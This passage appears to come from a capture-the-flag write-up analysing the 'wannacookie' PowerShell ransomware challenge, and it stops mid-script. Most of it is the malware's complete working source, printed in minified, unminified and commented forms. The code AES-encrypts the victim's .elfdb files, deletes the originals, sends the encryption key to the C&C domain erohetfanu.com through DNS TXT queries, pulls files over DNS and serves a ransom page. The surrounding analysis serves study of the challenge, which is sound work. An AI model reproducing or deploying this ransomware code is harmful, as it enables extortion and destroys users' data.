$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV,  0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()};$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '};function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String] $String) {$SB = New-Object System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles, $make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++  ) {while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if ($running.Count -le $tcount) {Start-Job  -ScriptBlock {param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}};function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function wanc {$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';$html_c = @{'GET /'  =  $(g_o_dns (A2H "source.min.html"));'GET /close'  =  '
Bye!
'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep 2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html = "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET /close') {$close = $true;$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Resp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();return}}} finally {$list.Stop()}};wanc;

Wait... do you notice that $f is an hexadecimal representation of the string wannacookie.min.ps1 ?

What if we ask for wannacookie.ps1 instead ?

After running the script with $f="77616E6E61636F6F6B69652E707331"...
...we get a non minified version of the script :

$functions = {
    function Enc_Dec-File($key, $File, $enc_it) {
        [byte[]]$key = $key
        $Suffix = "`.wannacookie"
        [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
        [System.Int32]$KeySize = $key.Length*8
        $AESP = New-Object 'System.Security.Cryptography.AesManaged'
        $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $AESP.BlockSize = 128
        $AESP.KeySize = $KeySize
        $AESP.Key = $key
        $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)
        if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)}
        $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)
        if ($enc_it) {
            $AESP.GenerateIV()
            $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
            $FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
            $Transform = $AESP.CreateEncryptor()
        } else {
            [Byte[]]$LenIV = New-Object Byte[] 4
            $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
            $FileSR.Read($LenIV,  0, 3) | Out-Null
            [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0)
            [Byte[]]$IV = New-Object Byte[] $LIV
            $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
            $FileSR.Read($IV, 0, $LIV) | Out-Null
            $AESP.IV = $IV
            $Transform = $AESP.CreateDecryptor()
        }
        $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
        [Int]$Count = 0
        [Int]$BlockSzBts = $AESP.BlockSize / 8
        [Byte[]]$Data = New-Object Byte[] $BlockSzBts
        Do
        {
            $Count = $FileSR.Read($Data, 0, $BlockSzBts)
            $CryptoS.Write($Data, 0, $Count)
        }
        While ($Count -gt 0)
        $CryptoS.FlushFinalBlock()
        $CryptoS.Close()
        $FileSR.Close()
        $FileSW.Close()
        Clear-variable -Name "key"
        Remove-Item $File
    }
}
function H2B {
    param($HX)
    $HX = $HX -split '(..)' | ? { $_ }
    ForEach ($value in $HX){
        [Convert]::ToInt32($value,16)
    }
}

function A2H(){
    Param($a)
    $c = ''
    $b = $a.ToCharArray();
    Foreach ($element in $b) {
        $c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
    }
    return $c -replace ' '
}

function H2A() {
    Param($a)
    $outa
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_}
    return $outa
}
function B2H {
    param($DEC)
    $tmp = ''
    ForEach ($value in $DEC){
        $a = "{0:x}" -f [Int]$value
        if ($a.length -eq 1){
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    }
    return $tmp
}
function ti_rox {
    param($b1, $b2)
    $b1 = $(H2B $b1)
    $b2 = $(H2B $b2)
    $cont = New-Object Byte[] $b1.count
    if ($b1.count -eq $b2.count) {
        for($i=0; $i -lt $b1.count ; $i++)
        {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
        }   
    }
    return $cont
}
function B2G {
    param([byte[]]$Data)
    Process {
    $out = [System.IO.MemoryStream]::new()
    $gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress)

      $gStream.Write($Data, 0, $Data.Length)
      $gStream.Close()
    return $out.ToArray()
  }

}
function G2B {
param([byte[]]$Data)
	Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data )
	    $output = New-Object System.IO.MemoryStream
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress)
	    $gStream.CopyTo( $output )
        $gStream.Close()
		$SrcData.Close()
		[byte[]] $byteArr = $output.ToArray()
        return $byteArr
    }
}
function Sha1([String] $String) {
    $SB = New-Object System.Text.StringBuilder
        [System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
        [Void]$SB.Append($_.ToString("x2"))
    }
    $SB.ToString()
}

function Pub_Key_Enc($key_bytes, [byte[]]$pub_bytes){
     $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2
     $cert.Import($pub_bytes)
     $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true)
     return $(B2H $encKey)
}
function enc_dec {
    param($key, $allfiles, $make_cookie )
    $tcount = 12
    for ( $file=0; $file -lt $allfiles.length; $file++  ) {
        while ($true) {
            $running = @(Get-Job | Where-Object { $_.State -eq 'Running' })
            if ($running.Count -le $tcount) {
                Start-Job  -ScriptBlock {
                    param($key, $File, $true_false)
                    try{
                        Enc_Dec-File $key $File $true_false
                    } catch {
                        $_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
                    }
                } -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions
                break
            } else {
                Start-Sleep -m 200
                continue
            }
        }
    }
}

function get_over_dns($f) {
    $h = ''
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
    }
    return (H2A $h)
}
function split_to_chunks($astring, $size=32) {
    $new_arr = @()
    $chunk_index=0
    foreach($i in 1..$($astring.length / $size)) {
        $new_arr += @($astring.substring($chunk_index,$size))
        $chunk_index += $size
    }
    return $new_arr
}
function send_key($encrypted_key) {
    $chunks = (split_to_chunks $encrypted_key )
    foreach ($j in $chunks) {
        if ($chunks.IndexOf($j) -eq 0) {
            $new_cookie = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        } else {
            $(Resolve-DnsName -Server erohetfanu.com -Name "$new_cookie.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        }
    }
    return $new_cookie
}
function wannacookie {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return} 
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
    $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
    $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
    $Hex_key = $(B2H $Byte_key)
    $Key_Hash = $(Sha1 $Hex_key)
    $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
    $cookie_id = (send_key $Pub_key_encrypted_Key)
    $date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
    [array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
    enc_dec $Byte_key $future_cookies $true
    Clear-variable -Name "Hex_key"
    Clear-variable -Name "Byte_key"
    $lurl = 'http://127.0.0.1:8080/'
    $htmlcontents = @{
        'GET /'  =  $(get_over_dns (A2H "source.min.html"))
        'GET /close'  =  '
Bye!
'
    }
    Start-Job -ScriptBlock{
        param($url)
            Start-Sleep 10
            Add-type -AssemblyName System.Windows.Forms
            start-process "$url" -WindowStyle Maximized
            Start-sleep 2
            [System.Windows.Forms.SendKeys]::SendWait("{F11}")
    } -Arg $lurl
    $listener = New-Object System.Net.HttpListener
    $listener.Prefixes.Add($lurl)
    $listener.Start()
    try {
        $close = $false
        while ($listener.IsListening) {
            $context = $listener.GetContext()
            $Req = $context.Request
            $Resp = $context.Response
            $Resp.Headers.Add("Access-Control-Allow-Origin","*")
            $received = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath
            if ($received -eq 'GET /') {
                $html = $htmlcontents[$received]
            } elseif ($received -eq 'GET /decrypt') {
                $akey = $Req.QueryString.Item("key")
                if ($Key_Hash -eq $(Sha1 $akey)) {
                    $akey = $(H2B $akey)
                    [array]$allcookies = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
                    enc_dec $akey $allcookies $false
                    $html = "Files have been decrypted!"
                    $close = $true
                } else {
                    $html = "Invalid Key!"
                }
            } elseif ($received -eq 'GET /close') {
                $close = $true
                $html = $htmlcontents[$received]
            } elseif ($received -eq 'GET /cookie_is_paid') {
                $cookie_and_key = $(Resolve-DnsName -Server erohetfanu.com -Name ("$cookie_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings
                if ( $cookie_and_key.length -eq 32 ) {
                    $html = $cookie_and_key
                } else {
                    $html = "UNPAID|$cookie_id|$date_time"
                }
            } else {
                $Resp.statuscode = 404
                $html = '<h1>404 Not Found</h1>'
            }
            $buffer = [Text.Encoding]::UTF8.GetBytes($html)
            $Resp.ContentLength64 = $buffer.length
            $Resp.OutputStream.Write($buffer, 0, $buffer.length)
            $Resp.Close()
            if ($close) {
                $listener.Stop()
                return
            }
        }
    } finally {
        $listener.Stop()
    }    
}
wannacookie

Now we can study the ransomware code ! We can note :

• a Enc_Dec-File($key, $File, $enc_it) function which can encrypt or decrypt a file with the key provided. The algorithm used is AES/CBC and the Initialization Vector (IV) is saved at the begining of the encrypted file which is rename with a .wanacookie extension ;
• there are a number of conversion functions without a great interest and a xoring function ;
• there is a log file for exceptions : \Desktop\ps_log.txt ;
• there is a get_over_dns function that makes the equivalent of an HTTP GET request to the C&C through DNS requests. May be we can grab some files with it ;
• the encryption key is sent to the C&C via DNS request to [key].keyforbotid.erohetfanu.com via the send_key($encrypted_key) function ;
• the public key of the C&C is used to cipher it ;
• there is a test for a killswitch at the begining which use DNS requests for killswitch.erohetfanu.com ;
• files server.crt (7365727665722E637274) and source.min.html are requested from the C&C. source.min.html is the html page displayed once the computer files are encrypted ;
• once files are encrypted, keys are erased from memory : Clear-variable -Name "Hex_key" Clear-variable -Name "Byte_key" but a sha1 hash of the key is conserved in order to control the key validity when the user submits it ;
• we can request the name [cookie_value].ransomispaid.erohetfanu.com to know if the ransom for this cookie has been paid ;

But we don't have the C&C code and we can't tell the C&C that a ransom has been paid.

But, if we get a key, we can decipher all the files (of the corresponding computer).

Here is the source with some comments added to explain what we think each function does and how the malware works (see the last function comments for the big picture) :

$functions = {
    # This function crypt or decrypt $File with the $key received.
    # When crypted, a ".wanacookie" extension is added to the file and the IV is added in the file before its encrypted datas
    # When decrypted, the ".wanacookie" extension is removed.
    function Enc_Dec-File($key, $File, $enc_it) {
        [byte[]]$key = $key
        $Suffix = "`.wannacookie"
        [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
        [System.Int32]$KeySize = $key.Length*8
        $AESP = New-Object 'System.Security.Cryptography.AesManaged'
        $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $AESP.BlockSize = 128
        $AESP.KeySize = $KeySize
        $AESP.Key = $key
        $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)
        if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)}
        $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)
        if ($enc_it) {
            $AESP.GenerateIV()
            $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
            $FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
            $Transform = $AESP.CreateEncryptor()
        } else {
            [Byte[]]$LenIV = New-Object Byte[] 4
            $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
            $FileSR.Read($LenIV,  0, 3) | Out-Null
            [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0)
            [Byte[]]$IV = New-Object Byte[] $LIV
            $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
            $FileSR.Read($IV, 0, $LIV) | Out-Null
            $AESP.IV = $IV
            $Transform = $AESP.CreateDecryptor()
        }
        $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
        [Int]$Count = 0
        [Int]$BlockSzBts = $AESP.BlockSize / 8
        [Byte[]]$Data = New-Object Byte[] $BlockSzBts
        Do
        {
            $Count = $FileSR.Read($Data, 0, $BlockSzBts)
            $CryptoS.Write($Data, 0, $Count)
        }
        While ($Count -gt 0)
        $CryptoS.FlushFinalBlock()
        $CryptoS.Close()
        $FileSR.Close()
        $FileSW.Close()
        Clear-variable -Name "key"
        Remove-Item $File
    }
}

+ function H2B {
}

+ function A2H(){
}

+ function H2A() {
}

+ function B2H {
}

# This function "xor" two strings
+function ti_rox {
}

# This function compress a stream of datas
+function B2G {
}

# This function deflates a stream of datas
+function G2B {
}

# This function computes the sha1 hash of a string
+function Sha1([String] $String) {
}

# This function crypts a key with a public key
+function Pub_Key_Enc($key_bytes, [byte[]]$pub_bytes){
}

# This function create and run jobs which call Enc_Dec-File function for each file to crypt or decrypt
function enc_dec {
    param($key, $allfiles, $make_cookie )
    $tcount = 12
    for ( $file=0; $file -lt $allfiles.length; $file++  ) {
        while ($true) {
            $running = @(Get-Job | Where-Object { $_.State -eq 'Running' })
            if ($running.Count -le $tcount) {
                Start-Job  -ScriptBlock {
                    param($key, $File, $true_false)
                    try{
                        Enc_Dec-File $key $File $true_false
                    } catch {
                        $_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
                    }
                } -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions
                break
            } else {
                Start-Sleep -m 200
                continue
            }
        }
    }
}

# This function get some datas or a file from the C&C through DNS requests
# First resolution is [file_name_requested_in_hexascii].erohetfanu.com
# The C&C answers with the number of parts to get
# Then each part is downloaded with [part_number].[file_name_requested_in_hexascii].erohetfanu.com requests
function get_over_dns($f) {
    $h = ''
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
    }
    return (H2A $h)
}

# Utility function to split the encryption key in order to send it to the C&C
function split_to_chunks($astring, $size=32) {
    $new_arr = @()
    $chunk_index=0
    foreach($i in 1..$($astring.length / $size)) {
        $new_arr += @($astring.substring($chunk_index,$size))
        $chunk_index += $size
    }
    return $new_arr
}

# This function is used to send the encryption key to the C&C via [key_chunk].keyforbotid.erohetfanu.com DNS requests
# This function returs the cookie delivered by the C&C
function send_key($encrypted_key) {
    $chunks = (split_to_chunks $encrypted_key )
    foreach ($j in $chunks) {
        if ($chunks.IndexOf($j) -eq 0) {
            $new_cookie = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        } else {
            $(Resolve-DnsName -Server erohetfanu.com -Name "$new_cookie.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        }
    }
    return $new_cookie
}


function wannacookie {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
    
    # Call to the C&C for the kill-switch funtion
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return} 
    
    # If we had already made our job or we are not on the targetted KRINGLECASTLE domain, then return
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
    
    # Get the public key of the C&C. Will be used to crypt the encryption key before sending it to the C C&C.
    $pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )

    # Create an encryption key    
    $Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
    
    # Convert the encryption key in hexascii
    $Hex_key = $(B2H $Byte_key)
    
    # Compute a sha1 hash of the key which will be used later to verify the key once the ransom paid and when the user will enter the key in the form
    $Key_Hash = $(Sha1 $Hex_key)
    
    # Cipher the encryption key
    $Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
    
    # Send the ciphered encryption key to the C&C (he will be able to decipher it with his private key)
    $cookie_id = (send_key $Pub_key_encrypted_Key)
    
    # Encrypt all .elfdb files in userprofile\Documents, Videos, Pictures and Music folders    
    $date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
    [array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
    enc_dec $Byte_key $future_cookies $true
    
    # Wipe the hxascii encryption  key and the binary one from memory since the encryption key since the key is no longer useful
    Clear-variable -Name "Hex_key"
    Clear-variable -Name "Byte_key"
    
    # Create a local web server on port 8080
    # download the source.min.html from the C&C
    # ---------------------------------------------
    $lurl = 'http://127.0.0.1:8080/'
    $htmlcontents = @{
        'GET /'  =  $(get_over_dns (A2H "source.min.html"))
        'GET /close'  =  '
Bye!
'
    }
    Start-Job -ScriptBlock{
        param($url)
            Start-Sleep 10
            Add-type -AssemblyName System.Windows.Forms
            start-process "$url" -WindowStyle Maximized
            Start-sleep 2
            [System.Windows.Forms.SendKeys]::SendWait("{F11}")
    } -Arg $lurl
    $listener = New-Object System.Net.HttpListener
    $listener.Prefixes.Add($lurl)
    $listener.Start()

    # local web server command loop
    # -----------------------------
    try {
        $close = $false
        while ($listener.IsListening) {
            $context = $listener.GetContext()
            $Req = $context.Request
            $Resp = $context.Response
            $Resp.Headers.Add("Access-Control-Allow-Origin","*")  
            $received = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath
            
            # For a GET on "/",
            #   display the simple.min.html page
            # --------------------------------------------------
            if ($received -eq 'GET /') {
                $html = $htmlcontents[$received]
                
            # For a GET on "/decrypt",
            #   get the key fom "key" parameter,
            #   verify that the sha1 of the key is the same as the one computed before ciphering files
            #   if the key is the good one,
            #     decrypt all encrypted files            
            # -------------------------------------------------------
            } elseif ($received -eq 'GET /decrypt') {
                $akey = $Req.QueryString.Item("key")
                if ($Key_Hash -eq $(Sha1 $akey)) {
                    $akey = $(H2B $akey)
                    [array]$allcookies = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
                    enc_dec $akey $allcookies $false
                    $html = "Files have been decrypted!"
                    $close = $true
                } else {
                    $html = "Invalid Key!"
                }
            
            # For a GET on "/close",
            #   say "Bye!" and quit via $close = $true
            # ------------------------------------------
            } elseif ($received -eq 'GET /close') {
                $close = $true
                $html = $htmlcontents[$received]
                
            # For a GET on "/cookie_is_paid",
            #   ask the C&C for the paid ransom through [cookie].ransomispaid.erohetfanu.com DNS request
            #   return datas to be displayed on the screen
            # ----------------------------------------------------------------------------------------------------------------------------
            } elseif ($received -eq 'GET /cookie_is_paid') {
                $cookie_and_key = $(Resolve-DnsName -Server erohetfanu.com -Name ("$cookie_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings
                if ( $cookie_and_key.length -eq 32 ) {
                    $html = $cookie_and_key
                } else {
                    $html = "UNPAID|$cookie_id|$date_time"
                }
                
            # For all other requests, return 404   
            # ----------------------------------            
            } else {
                $Resp.statuscode = 404
                $html = '<h1>404 Not Found</h1>'
            }
            $buffer = [Text.Encoding]::UTF8.GetBytes($html)
            $Resp.ContentLength64 = $buffer.length
            $Resp.OutputStream.Write($buffer, 0, $buffer.length)
            $Resp.Close()
            if ($close) {
                $listener.Stop()
                return
            }
        }
    } finally {
        $listener.Stop()
    }    
}
wannacookie

In order to understand the whole picture, we have to download the source.min.html file, which is displayed on the computer after the file has been encrypted.

We can download and save the file with this little script :

$f = "736F757263652E6D696E2E68746D6C"   # source.min.html
$h=""
